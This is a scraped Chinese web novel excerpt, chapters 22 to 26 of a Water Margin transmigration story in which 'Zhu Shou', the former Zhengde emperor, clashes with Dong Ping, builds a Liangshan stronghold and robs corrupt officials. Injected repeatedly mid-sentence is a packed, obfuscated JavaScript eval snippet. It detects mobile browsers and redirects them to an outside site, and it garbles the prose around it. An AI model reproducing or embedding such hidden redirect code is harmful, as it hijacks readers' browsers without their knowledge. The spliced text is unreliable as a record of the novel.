“洒家乃朝廷命官,调戏命官之妻,这东平府还有没有王法?” 董平气势一颓,有些懵,不知得罪了何方神圣。 “不知兄台官居何职?”董平身上是有很多小机灵的,当下试探道。 “洒家乃禁军虎翼右厢第四军军都指挥使,奉命驻军东平府。” 这话一出,董平已经汗流浃背了。 董平是东平府兵马都监,管的是地方军。 朱寿属于禁军嫡系,无论是装备还是战斗力都高于董平所部。 只是朱寿平素驻军城外,几乎不进城,所以他还没见过朱寿。 “哈哈哈哈哈哈~原来是朱兄啊,小弟眼拙了,冒犯了……” 不待他说完,朱寿就打断道:“洒家可受不起董大人的道歉,再说了你冒犯的不是洒家,是我家娘子。” 董平低下了头,双拳紧握,给一个胡姬道歉,姓朱的太欺负人了。 在当今的社会风气下,家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582753|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的姬妾都是可以拿来招待客人的,朋友间互相赠送都很正常。 朱熹尚未出生,程氏理学只是众多思想中的一种,还不是主流思想。 姬妾当下地位十分卑贱,对姬妾道歉那简直太没面子了。 看着董平,朱寿没有说话,眼神里尽是凉意。 对于董平这个人,朱寿原先很无感,但今天他原本兴致颇高,现在坏了兴致,火气很大,非要拿董平泄火不成。 在《水浒传》里,他归顺宋江以后攻破东平府,杀了知府全家只留下知府之女,然后强娶为妻。 此人奸毒似狼,为达目的不择手段,原本可以收为爪牙,但如今已经起了冲突,朱寿从不是吃亏的主,断不会算了。 他也没什么兴趣去收复一个奸诈阴险的家伙,这人极像他在大明的手下江彬。 不过在大明时,他手下缺乏冲锋陷阵的猛将,现在在宋末水浒的世界里,猛将多到数不完。 董平最后憋得脸红,可又别无他法,再闹下去也是他理亏,最后闹到知府那里更不好看。 “嫂嫂,是兄弟对不住了!”说完以后,董平脸红得和猴屁股一样,转身就走。 他最是好面子,今天是丢大了脸,待不下去了。 “等等兄弟,今天这事因你而起,给人家老板打坏了这么多东西,不得给人家赔偿?”朱寿的声音响起。 董平后槽牙咬得“咯吱咯吱”响,最后还是忍住了,他到底是有几分机敏,知道硬碰硬现在干不过。 “店家,这些银子够了吧。”董平把身上的银子全拿了出来放店家面前。 “自是够了,要不了这么多的……” “剩下就当我给将军赔礼了,把将军今天的酒钱结了。”董平大手一挥,满目血红地离去。 他半年的工资没了,朱贼可恨啊。 朱寿一行人出了酒楼,走在出城的路上。 夕阳斜挂枯藤,答里孛走在前面,影子拉得长长的。 “答里孛~”朱寿轻唤了她一声。 那张冷白的小脸转过来,夕阳下很美,真的像佛光普照的菩萨。 “其实以后你可以任性一点,就像从前那样,我能兜得住的。”朱寿说道。 原本说好了只走肾不走心,一心只求帝王路的,可他终究只是凡人,绝不了情。 答里孛没有说什么,只是撇开了脸。 不一会,一只玉白的小手伸了过来牵住朱寿的大手。 第23章 子息 十一月,秋霜落尽北风破。 天凉了,冰期下的中原也很凉。 朱寿给答里孛披上了银色的大袄,又把火炉往她身边凑了凑。 答里孛不说话只是坐在那看着火红的炉子发呆。 朱寿看着她不自觉地傻笑起来,答里孛白了他一眼,随后问道: “你现在是不是很得意?” “嘿嘿嘿~” 平时一贯油嘴滑舌的朱寿此时只是挠着头满脸傻笑。 答里孛不愿理这狗男人,转过头去。 自八百破一万以后,过去了大半年了,他们终于迎来了第一个孩子。 年轻的契丹公主还有些不知所措,顽劣的朱寿也还不太适应自己的新角色。 每一个男人都有一个少年的灵魂,他们都曾有着鲜衣怒马少年郎的热血与轻狂。 可从某一刻起,他们变得沉稳内敛,自己戒了自己的狂。 为了生活吗?大抵不止如此,或许是当有一天他成为父亲、丈夫。 朱寿不靠谱了三十年,在大明当皇帝的时候不靠谱,来了宋末也不是太靠谱。 他是中国历史上活得最潇洒的皇帝,乾隆、嘉靖都比不过他。 对于他这种人来说,很难理解弘治、光武那种为子孙计后世,殚精竭力、燃尽自己一生的皇帝。 可当他听郎中说自己有了血脉的那一刻,朱寿迎来了一阵瞳孔地震。 父亲,这个角色对于他来说是多么陌生遥远的角色。 朱寿已经玩了三十年,现在才有子息,在古代已经可以说是“老来得子”了。 毕竟苏轼三十岁时就自称“老夫”,朱寿确实不年轻了。 现在他终于可以无愧父亲了,他们这支的香火延续下去了。 作为王朝中期出生的皇子,他和父亲一样,自幼体弱多病。 毕竟中后期君主总喜欢娶一些娇弱病美人,生出来的孩子身体自然一代不如一代。 而且以弘治皇帝为例,从生下来就面对繁重的课业又长于妇人太监之手,身体自然无法和洪武朝骑马打猎的顽劣皇子相比。 朱寿少时多病,不过他不是闲得住的个性,生性活泼爱动,还喜欢骑射。 身体虚弱、子嗣单薄的弘治皇帝也适时调整了对朱寿的培养,希望这个独子能身强体壮起来,然后让自己这一支子嗣兴隆。 可弘治皇帝料到了前面,没猜中后面的结局。 弘治早逝,改元正德,朱厚照少年即位,朝中局势错综复杂,刘瑾掌控大局,然后给十五岁的小皇帝打包了西域十二胡姬。 父亲去世后,没人管教的少年郎纵欲无度把从小好不容易调理起来的身体再度拖垮。 等到除去刘瑾,正德亲政,他决定励精图治、振奋国势,开始强身健体,亲自训练部队,接见边防大将…… 可是身体的表层能打磨好,但里子的亏损却没那么容易补上,再加上他又戒不了酒色,一直没有子嗣。 来到大宋以后,他鸿运当头遇到了金台,后来他靠着一腔血勇得到了那个老人的赏识,又投其所好终得老人真传。 后来老人传授他拳法、吐息,又给他食补、药补,才帮他补足了亏空。 他现在气血充盈、勇猛过人,还能有自己的子嗣,真得感谢命中贵人金台。 朱寿伸出自己的手缓缓放在答里孛的小腹上,女人没有**。 那平坦的小腹下孕育着自己的血脉,从现在起,他在这个时代留下了自己的血脉印记。 他在心中低语:父亲,我们这一脉有后了。 朱寿问道:“你的族人,我让他们到梁山泊去养马放牧了啊?你还有没有什么要和他们说的?” “真是被你这个坏家伙吃定了,罢了,你以后要是敢不对我们娘俩好,我就……” 答里孛说着说着眼睛就红了,想到自己的委屈,朱寿连忙安慰她。 自打鲁智深来了以后,朱寿就加快了开发梁山泊根据地的节奏。 梁山泊非常广阔,里面有一块空旷的平地是原著中水浒马军练兵的地方。 在答里孛的调教下,契丹牧民已经顺服多了。 这些契丹边境的牧民其实思想简单迷信,在他们看来答里孛是有着白狼青牛血脉的神裔,他们非常听她的话。 加之来了中原以后,天气暖和每天还有饭吃,虽然每天只吃一顿饭还有很多活计,但比在北境已经好了不知多少。 他们已经没什么反抗叛逆的心理了,就当给大辽驸马爷打工了。 朱寿现在把这些契丹俘虏迁到梁山泊放牧不仅可以让他们加快梁山泊的开发进程,还能让他们自己从事生产,开源节流。 毕竟把他们留在军中养马还要花一大笔经费,不如让他们去梁山泊渔猎殖产,自己养活自己。 陪着答里孛又坐了一会,朱寿起身离开,今天他还要去梁山一趟。 基业草创之际,他需要多下功夫。 朱寿最近还是很自由的,张叔夜不在,没人看着他。 张叔夜出门访友了,从海州调任东平府以后,有一大堆文人聚会等着他参加,在大宋做官就免不了这些繁杂的文人应酬。 现在有了这个空隙,朱寿得赶快把梁山草台班子搭起来。 一推开门,石秀走了过来,牵着几匹马。 “都准备好了吗?”朱寿问道。 “一切就绪。” “走!驾!” 朱寿翻身上马,双腿一夹,白马疾驰而去。 他们一行人向前奔驰,在苍茫草地上留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582754|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路蹄印。 ----------------- 梁山泊的丛林中挂满寒霜,露珠从枝头滑落。 “滴答~”露水沾湿了朱寿的衣袖。 鲁智深打开简陋的木门,众人随朱寿入了空旷的聚义厅。 这间聚义厅是用以前的神庙改装的。 朱寿坐在席子上,然后问鲁智深:“大师现在有多少人了?” “洒家从汴京找来几个被高俅**的兄弟,又收拢二十多户破产渔民,总计百来号人,还找到一个能人异士。” 鲁智深说完,一个贼眉鼠眼的小个子站到了朱寿的面前。 “小弟鼓上蚤时迁,拜见主公!” 朱寿听到鼓上蚤的名字,眼中闪过一抹精芒,连忙将其扶起。 “快快请起,兄弟前来,洒家甚是欣喜,早就听过兄弟‘盗圣’的大名。” 时迁在《水浒传》里是众多好汉中最被轻视的好汉,他发挥的作用不亚于天罡,却被排在了地煞的最后一位。 就凭他那一身轻功,功能性在梁山可以说独一无二。 时迁颇为感动,身材矮小、其貌不扬的他总是被人轻视,听说花和尚落草于此,就想着来找个依靠。 不曾想后面的大佬居然是威震北方的明王尊者·朱寿,而且居然对待自己这么周到。 时迁胸中生出一口“士为知己者死”的豪情。 朱寿言归正传,继续说道:“此番洒家带来了数百匹骏马,兄弟们平常看好契丹人就行,养马用的豆子我会送来。” 梁山水草丰美,又有契丹人照料,养马的条件非常充沛,比在城边上样便宜多了,至于豆子和盐的钱相比之下已经省了不少。 “还有皮甲和武器我也带来不少,智深管制好武器,发放武器的关口要把好,不要落人以柄……” 在张叔夜从侍卫步军司把剩余的武器拉来以后,军队装备换装以后,剩余的兵器甲械无数。 “招募敢勇当首选被官府**良家子弟为主,再招募品行过关的江湖豪杰……” 朱寿着重讲了接下来梁山发展的方向,作为他私下设立的堂口,为了保证运行良性,规矩得一来就定好。 等事情说完了,朱寿等人随着鲁智深巡山,选取山险设置关隘。 二人并肩而行时,鲁智深递给了朱寿一本书。 “当家的,这是洒家抄写的经文,给未来的小侄女或小侄子的一点小心意……” “谢过大师了。” 鲁智深憨厚地递过来半本经文,朱寿双手接过。 这个不念佛、不吃斋的话和尚为自己抄了经文,朱寿难免有些感动。 双方的关系还在升温,这是一个好兆头,大业草创就需要齐心协力。 第24章 红与黑,一丈青 “这么说我的马没了?” “贼人凶猛,用头套套住兄弟们就是一顿胖揍……” “这么说你连抢你的人长什么样也没看清咯?” “当时天色已晚又熄了灯,一片黑啊……” “你这憨货,你们是官军,带着武器,还让人给抢了,以后别说是我的兵,丢不起这人。” 朱寿现在火气很大,他买的马被人抢了。 “哥哥消消气,王伦哥哥他们几个功夫不好,中原本就卧虎藏龙,现在当务之急还是快把马找回来。”石秀劝道。 “呼~起来吧,把你东西丢的地点还有接触过的人都说一遍,踏马的,敢抢爷爷的东西,非把他鸟给**。” 朱寿说道,拿起桌上的茶喝了一口,火大难消。 最近梁山泊的马养的不错,他就准备买些马准备春天配种,对外就说是自己准备搞个马场经营,反正在大宋官员置办产业挺常见的。 没想到居然被人劫了,敢抢禁军军都指挥使,真是林子大了什么鸟都有。 杜迁:“哥哥,接下来咱们是不是去报官啊?” “你傻啊,咱们就是官,你们穿着官服出去人家都敢抢你,人家就不怕你。” 朱寿埋头想了一会,说道:“王伦,你把事情具体经过说明白,杨雄你去梁山让时迁下山一趟,明天我见他。” 东平府作为水浒世界的核心故事区,这里风起云涌,各大势力纵横交错。 王伦回忆起事情经过,朱寿一手喝茶,一手笃笃敲击着桌面。 青烛之下,人影绰绰,那**的庞大身影宛如一头即将择人而噬的猛虎。 ----------------- “驾~” “董大人来了,统统散开!” 一群身披红色衣甲的厢兵挎着单刀在街上招摇过市。 往来的百姓纷纷避让,东平府里董平的名头太大,没人敢触了这位爷的霉头。 “哟,董大人好大的官威呀,是不是本府也得给您让个路啊?” 一袭红袍的知府大人站在那,董平连忙下马,一脸陪笑。 “末将怎敢?知府大人折煞在下了。” 身为知府的程**看董平非常不顺眼,这个嚣张的武将让他看着极不顺眼。 只是董平这小子虽然嚣张,但他有股子机灵劲,懂得往上攀附,上面有关系,不好收拾这小子。 董平满脸笑容下则藏着无际阴霾,他早就看这程**这老小子不爽了,等以后有机会一定弄死这老小子。 两人带着文物两班人来到酒楼门口。 一个黑色劲装的魁梧巨汉迎了出来。 “参见知府大人,下官来此仰慕大人贤明多日,只是一直被俗物所累,耽搁了前来拜见大人。” 朱寿身量高大英武,比起痞帅的董平,他是真的端正俊朗。 “将军过誉了,我听嵇仲说过很多次你练兵严整,是大宋不可多得的将才。” 程**赏识地拍了拍朱寿的肩,二人一副忘年交的样子。 一旁的董平**晾着,他只能绷着一张笑脸,跟在一旁像个跟班一样。 众人进了酒楼,一路上谈笑声不止好不热闹。 “哼!这些官府蛀虫真是好大排场,个个都讲这么大排场,奢靡普涨,着实可恨!“ 一间酒肆二楼临街的桌子旁,穿着淡青色裙装的妙龄少女愤愤地看着这一幕说道。 她约莫十七八岁,柳眉杏眼,樱桃小口,抽条显得有些瘦削的脸蛋配上精致的五官显得英姿飒爽。高挑的身材已经颇具曲线。 桌上还有位年龄与之相仿的青年和一位蓄着胡须的中年男子。 中年男子皱了皱眉提醒道:“为父平常如何教你的,谨言慎行,避免节外生枝。“ “知道了父亲。”少女不情不愿地低下头。 “妹子,你可知道那些人是何来历?那是知府大人,兵马都监大人,还有你时常挂念的收复蓟城的军都都指挥使大人。” 看她有些不服,一旁的兄长解释道。 “燕北朱寿?”少女有些不敢相信自己居然看到了自己的偶像。 燕云十六州是大宋的白月光,朱寿收复失地得到了民间与朝廷的一致宣传,成为了年轻一代中的英雄偶像。 少女此时不太能接受自己的偶像和那些官府蛀虫混在一起。 他们家接触知府、都监大人接触的太多了,知道这些大人背地里有多能捞。 现在自己心目中的英雄居然和这些人混在一起…… “三娘,这个世界有时候就是这个样,没有人能独善其身。”中年人解释道。 他们扈家也得讨好祝家,还得来城里打点关系,不然生意做不做。 为了赚钱嘛,不寒碜。 年轻的扈三娘世界观受到了巨大的冲击,久久沉默不语。 ----------------- 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582755|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“居然有人敢抢将军的马?真是吃了熊心豹子胆。” 知府程**用力拍着桌子,一副气呼呼的样子。 “大人,对这些贼子绝不能姑息,依在下拙见应当以重兵剿灭。”朱寿说道。 “确实,绝不姑息,”程**严肃地说,“不过话又说回来了,这马是在东昌府丢的,咱们东平府去管有些越界了。” 董平在一旁和稀泥道:“是啊,还有府里今年修了路和城墙,府库盈余不多,厢兵不易轻动啊。” “将军,不若向侍卫司禀报,到时候将军带虎翼军的虎狼之师剿灭这些贼寇。”程**建议道。 “是啊是啊,将军的雄兵比我那些虾兵蟹将不知强了多少。什么贼寇都扛不住那般雄师。”董平笑得那叫一个灿烂。 朱寿也笑了,整个包间里所有人都笑了。 “知府大人高见啊,董将军也是抬举我了,来朱某敬诸位一杯!”朱寿举杯道。 “将军勇猛,助将军马到成功,旗开得胜!” 东平府全体官员站起身来举杯祝贺朱寿。 大家一饮而尽,满座都是欢声笑语,私下却都是暗藏鬼胎。 朱寿算是看明白了,这东平府全体官员全都是蛇鼠一窝。 他们或许内部有问题和分歧,但作为本地官员有一些见不得光的利益把他们拴在了一起。 原本以为可以借助知府和都监的间隙打破他们内部的联系,现在看来大宋官场不简单啊。 那些劫自己马的人定然是在这东平府官场上下打通联系的地头蛇,朱寿几乎可以肯定董平这孙子就深涉此事。 至于动用自己的部队,作为禁军,他们在地方上是用来弹压叛乱不能轻动的。 收拾强盗、**贼,那是厢军的职责,他们不能越线的。 不过既然现在这群王八蛋现在给脸不要脸,那接下来可就怪不得他了。 一顿饭吃完,朱寿把人周到送走,全程挂着笑脸。 论养气的功夫,他在大明官场修炼十余载,那是有一套的。 只是平静的表情下,一双眸子里已经蕴藏着满溢的怒火。 出来后,董平没有再骑马,只是牵着马跟在程**身旁。 程**压低声音低斥:“把你的爪子放干净点,别真以为自己在东平府就可以称王称霸!哼~井底之蛙!” 董平低着头回了个“诺~”,一双斜长的眼睛里满是怨怼。 第25章 剪径 朱寿身着重甲,手持三尖两刃刀,在校场上纵横,长刀挥舞如鱼龙舞。 披着满甲满配下足足八十八斤的步人甲,朱寿使起手中的三尖两刃刀依旧游刃有余。 他每一刀都劈下都是一道线,刀身笔直,刃口锋利,每一斩都是一道线。 战场上杀敌拼的就是杀伤力,杀伤力靠的就是接触面积,接触面越小,力道越密集。 像铜锏之类的钝兵器只有在力大无穷之人手里才能打出暴击,因为接触面太大。 而枪作为百兵之王拼的就是一个点的接触面,还有身为大杀器的刀,一条线的接触面。 可江湖上素来有“一年刀打不过一年枪”的说法,只因枪好上手,拿着往前莽谁还不会。 而刀是一件极有门槛的兵器,一年时间往往练不出来。 刀不能莽,因为如果刃口没有对准,极有可能把刀身撞弯,刀也就废了。 要想把刀法练好,每一刀都能劈正,那得下苦功夫,练出肌肉记忆。 需要“冬练三九,夏练三伏”的刻苦和数载持之以恒的苦练方能练出成果。 朱寿在大明练了十多年,又在金台坐下打煞技艺数载,而这已是神速,还是他机敏且过目不忘,多少招式一看就会,省去很多时间。 长刀在他手中越舞越快,到后来只剩刀光虚影,宛如一匹发光的白练。 待他收刀,突然传来一阵热烈的掌声。 “将军的刀法果真是出神入化、炉火纯青,能和苏轼的词和李师师的歌并称‘大宋三绝’啊!” 张叔夜走过来就是一阵猛夸。 “嵇仲回来了,此行可佳?”朱寿问道。 “大善!”张叔夜回道,“只是在下听闻将军的爱马被盗,这宵小之辈实在可恨。” “若是落在洒家手里,恨不得将其挫骨扬灰。” “若要动兵,在下可以为将军向步军司奏明情况。” 朱寿却是摇了摇头,随即说道:“这只是我个人的小事,怎可让国家的兵马为我个人轻动。” 张叔夜听完以后顿感羞愧,其实刚刚他只是在想办法稳住朱寿,并试探对方想法。 毕竟朱寿是从北方回来的武将,不懂国朝的抑武政策,张叔夜担心其意气用事私自动兵。 “那将军的马如何是好?”张叔夜诚恳地关心道。 “洒家已让人在东昌府报官了,只是如今山东贼寇猖獗,各地官府还是需要快速打击,莫要让其坐大了。” 张叔夜连连附和,他亦有此虑。 “就怕**勾结,那就麻烦了。”朱寿一脸为国忧愁的模样,好似自己失马只不过是小事一桩。 此举打动了张叔夜,二人一起仰天长叹。 忽悠完张叔夜这个老实人以后,待其离开,朱寿转身回了大营。 身材矮小的时迁正蹲在营帐中,看上去有些局促。 “一路可还顺利?”朱寿问道。 “小弟一路小心事情都打听好了,来的路上也没人看到,哥哥大可放心。”时迁一脸讨好地说道。 “嗯,兄弟办事,洒家放心。”朱寿说道。 “小弟走绿林的路子打听到近日独龙岗走私一批马,五百来头,数量和哥哥之前丢的一致……”时迁说道。 听到独龙岗,朱寿抚着长须,一双黑白分明的眸子里尽是思量之色。 独龙岗是东平府本地黑白通吃的大势力,人马俱全,又修有碉堡,实力强劲。 要是放在宋太祖时代,这种地方势力绝对会被剪除,不过现在毕竟是北宋后期,朝堂对地方的控制力已经下降很多。 《水浒传》里以祝家庄、扈家庄和李家庄结盟控制着整片独龙岗,是实力强横的地头蛇。 后来梁山泊崛起以后,双方同处东平地界,自然爆发了一场黑道势力间的对决。 面对梁山猛男天团,内部李家庄、扈家庄又先后保持中立,祝家庄最后自然扛不住。 不过祝家庄可不菜,相反面对外部强敌环绕,盟友背弃的情况下,还能撑住梁山三波进攻,其底蕴深厚无比。 而且原作中祝家庄在黑白两道的关系那都是非常硬的,不然也不可能公然养那么多兵,还能私藏那么多甲。 “……后来小弟追过河时那些马都已经被捎往曾头市了,他们人多势众,小弟就先回来了。” 听时迁说完,朱寿心中已经有了计较。 北边的曾头市是山东河北最大的走私马场,那里面牵扯太多,现在立足未稳,不易轻动。 当下的敌人是近前官绅豪强勾结的东平府势力。 独龙岗对自己动手里面八成有董平那个睚眦必报的小人在从中作梗。 至于朱寿为什么会如此确信,因为他也是这种人。 踏马的,敢抢爷爷的马,非得让你全家当牛马不可。 “喜欢玩是吧,这回爷爷不玩死你们,爷爷不信朱。” 朱寿当即说道:“你回去以后让鲁智深准备好人手,让他们看看什么才是真正的土匪。” “诺~” ----------------- “呼~直娘贼的老天爷真**冷!” 云理青喷出一口白雾,直搓着手。 他是董平麾下的武官,平素仗势欺人,在东平府混得不错。 不过跟着董平混得好,却也得替董平做不少事,干很多“脏活累活”。 比如帮董平下去东平府治下各地县城、乡镇收些份子钱。 又比如替上面的大人做些不方便的事,不过这种事一般也轮不到他。 大多数时候还是搞运输,毕竟宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582756|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝官爷们殖产兴业搞钱才是常态。 不过这么冷的天出来收份子和特产那是真累,关键是董平给的酬劳还少。 “快些快些,没吃饭啊?”云理青挥舞着手中的鞭子,抽两鞭驴又抽两鞭人。 他对于这个差事很不爽,可又不敢去怪只好教训这些田舍汉了。 等待会回了城,一定要去找李家婆娘热炕头。 那李家娘子可标志了,又和勾栏里那些骚烂**不一样,每次都坚贞不从,玩起来别有一番良家风情。 反正那李家汉子傻乎乎的,也不敢造次…… 正当他想着美滋滋的时候,突然前方的货车一停,撞得他一个踉跄,狗吃屎摔倒在地。 “入**,谁他妈不长眼啊!” 云理青骂骂咧咧地站起身来,可当看到前方突然冒出来的人影,他不自觉咽了一口口水。 只见五十余人截住前方去路,带头的是两个身披兽皮的大汉。 一个是身披牛皮皮革制的胖大和尚,一个是身穿黑色熊皮大衣、头戴面具的巨汉。 “喂,哪条道上的?知不知道这是谁的货?东平府兵马都监双枪将董平的,别过界啊!” 云理青想到威名在外的董平又有了安全感,现在这个世道强盗确实多,不过大都只敢抢穷人。 那身披熊皮的男人一声不吭地走过来,一把金瓜锤拖在地上。 “停下,别过来了啊,我可是官军,俺代表的是朝廷……” 云理青的声音越来越小,那巨汉离他越来越近。 他身后那些往日看不起的田舍汉更是吓得不敢上前。 巨汉戴着一副三只眼的面具,那面具表情威严凶恶。 云理青想逃可想到董平的狠戾,他还是颤颤巍巍地拔出了刀。 “我跟你说我杀过人啊,别逼我,不然后果自负。” 金瓜锤说是金瓜其实普遍锤头只有果核大,重些的能有鸭蛋大,重量在三斤到六斤左右,近战时破甲穿透力很强。 眼前的这把金瓜锤挺大,锤身有拳头大。 看着眼前的重锤,云理青手里的刀握不稳了。 “嘭~”云理青被一脚踹倒在地,刀也掉了。 “我错了,好汉饶命啊,小的家里上有老下有小,不能死啊!” 一只粗糙的大手摁住他那张涕泪横流的脸,然后将拳头大小的金瓜锤在他脸上比画了比画。 “我知道了,您一定是惩恶扬善的英雄,我跟您说那些坏事都是他们叫我做的,我冤枉啊!我错了,给个机会吧……” 云理青崩溃了,下身裤子湿了一大片。 “轰~”一声巨响响起,那尖嘴猴腮的脑袋霎时间四分五裂。 一众田舍汉吓得四散而逃,他们往日里敬畏的官爷被人像杀狗一样杀了。 第26章 三只眼,真君爷 白缟飘飞,灵堂上挤满了人。 院子里摆满了席,县里无数帮闲齐聚。 云理青平素的狐朋**很多,吃席的时候都来了。 人们坐在席间,吃着肉谈论着云理青的死。 “你们知道不,我听那些乡巴佬说他们这次遇到的强盗长着三只眼,胳膊比普通人的腿还粗……” “嘿,俺昨天找灵佑道长来做法事的时候,道长说云理青这次遇到的就不是人,那是魔君下界,专**脑……” “……” 人们越说越邪乎,云理青之死已经传遍全城了,大家现在都以此为谈资。 偌大的席上却没有一个人为云理青伤心的,父母早逝,他又烂人一个,谁会在意。 他的后事是几个狐朋**办,办完以后借机分了这小子为数不多的家财。 云理青好赌,平素从大人物手中露出的赏赐也全被他拿去赌了。老婆为此也跑了。 突然席间全部人起身,一时间寂若无声。 董平走进来,立马有小厮帮他披上白衣。 穿过灵堂,董平径直走到棺材旁。 看着棺中的无头尸体,董平眼泪开了闸一般泪流如泉涌。 声泪俱下的董平双手紧紧抓住棺材,手颤抖不停,全然没有往日的吊二郎当。 席间众人只道董将军有情有义,简直太讲义气了。 董平的小厮看着自家主人涕泪横流,连忙递给他一方面巾,安慰道:“主人,斯人已逝,节哀吧。” “你懂什么?” 董平一把拿过面巾擦了擦鼻子然后压低声音说道: “这小子不仅欠洒家三十两银子,现在还弄丢了洒家份钱和土货,他**我找谁要啊?” 上完香,董平喊来几个前日与云理青一起遇袭的田舍汉问话: “衙门的口供做了吧?” “回大人,都录完了。” “抢你们的人里是不是有一个和尚?” “嗯,那和尚长得像佛门金刚一样……” 说起那大和尚,几个田舍汉用他们贫乏的语言形容那是如何高大。 董平从袖子里拿出一幅画,递给几个田舍汉看。 “你们看看是不是长这样?” “像,只是那大和尚还带了一个罗刹面具,体型上很像。” 这画像是从汴京下发的海捕文书,太尉大人有令逮捕这个诨号“花和尚”的大块头。 根据董平调查,这个大和尚差不多十月的时候就在梁山泊一带活动,打得那些设置关卡收取路费的官差四散而逃。 八百里梁山泊,官府能动用的人手有限,进了八百里梁山泊以后连根**都找不到。 此人确实麻烦,董平眉头紧皱。 “那打杀云理青的那人长什么样?” “那不是人,那是一只黑熊精修炼成精了……” “胡说,那不是黑熊,但也不是人,那家伙有三只眼……” “他使一柄重锤,那重锤锤身有拳头那么大……” “……” 几个田舍汉七嘴八舌说个不停,董平听得怒目而视,众人立马闭嘴。 “呵呵呵,黑熊精,三只眼,什么妖魔鬼怪?还用拳头大的金瓜锤,那是人能挥得动的?说个屁!” 董平对着一众田舍汉就是一顿大骂。 在他看来这几个田舍汉语无伦次,就是吓傻了。 看来接下来一段时间货物不能走梁山泊那边了。 董平离开云家后,还没走多远突然看到几个衙役跑过来。 “大人出事了,知府大人的货也被劫了?” “什么情况?” “三只眼和大和尚又来了。” ----------------- 梁山泊东平府地界,大湖湖畔。 年末,霜雪落满了湖畔的草地。 几队衙役帮闲在湖畔巡逻,岸边还搭着几间茅草屋,是巡逻者用来避风的。 “都头,咱真是遭老罪了,这么冷的天被派出来巡逻。” 几个厢兵老卒坐在木屋前的雪地里烤着火,被称为都头的老兵叼着根草,看了一眼抱怨的兄弟们说道: “不懂了吧,知府大人这些年好不容易攒了银子,正准备运回老家,突然没了,这不得让兄弟们出来找找场子。” 其实大家都心知肚明,就他们这些衙役连城里的贼抓起来都费力,还逮什么强盗。 “等知府大人气消了,这事情也就过去了。反正来这也能捞不少,就当补贴家用了。” 都头叼着草根安慰众人。 他们打着搜山寻湖,剿灭梁山匪患的旗号,这算是维护州府安全。 沿途路过的商贾多少得给些银子犒劳一下官差,毕竟他们保护了大家的安全。 也不知道为什么,这些贼匪不抢小商小贩,就盯着城里那些大户、官员抢。 往往一旬也就抢一次,他们这批官差运气不错,一次也没遇上过梁山大寇。 隔壁厢兵都被打得哭爹喊娘了。 远处传来马蹄声,众人心中一紧,连忙起身。 待看清来人以后,方才松了一口气。 “吁~哷哷哷”高头大马人立而起。 那战马站稳后,一个高大青年翻身下马。 “祝大公子,好久不见!”都头满脸笑容走过去。 那祝大公子嘴角微笑,让下人牵着马,和都头一起走到火堆旁,坐在中间。 众人纷纷给他问好,一众衙役都十分客气。 这祝大公子是独龙岗祝家庄的大公子祝龙,武艺高强不说,还有钱优势,出手大方。 祝龙每次来东平府做生意送礼都会拜会他们这些衙役,出手阔绰,是他们的财神爷。 “我听说最近东平府一带有妖魔出世,不知是怎生回事?”祝龙问道。 “大公子有所不知,现在可不太平了。我有一个兄弟在厢兵当差,他亲眼看到那怪物一锤把一个骑兵连人带马打**。” “是啊是啊,听说那妖魔一身怪力,是被东京来的大和尚从镇妖塔下放出来的……” 听着一众衙役吹得昏天暗地,祝龙却是不大相信,说道: “什么乱七八糟的,那妖魔再猛,敢抢我祝家的东西?他要是来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582757|171597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我手上这把铁枪非把他捅十几个窟窿。” 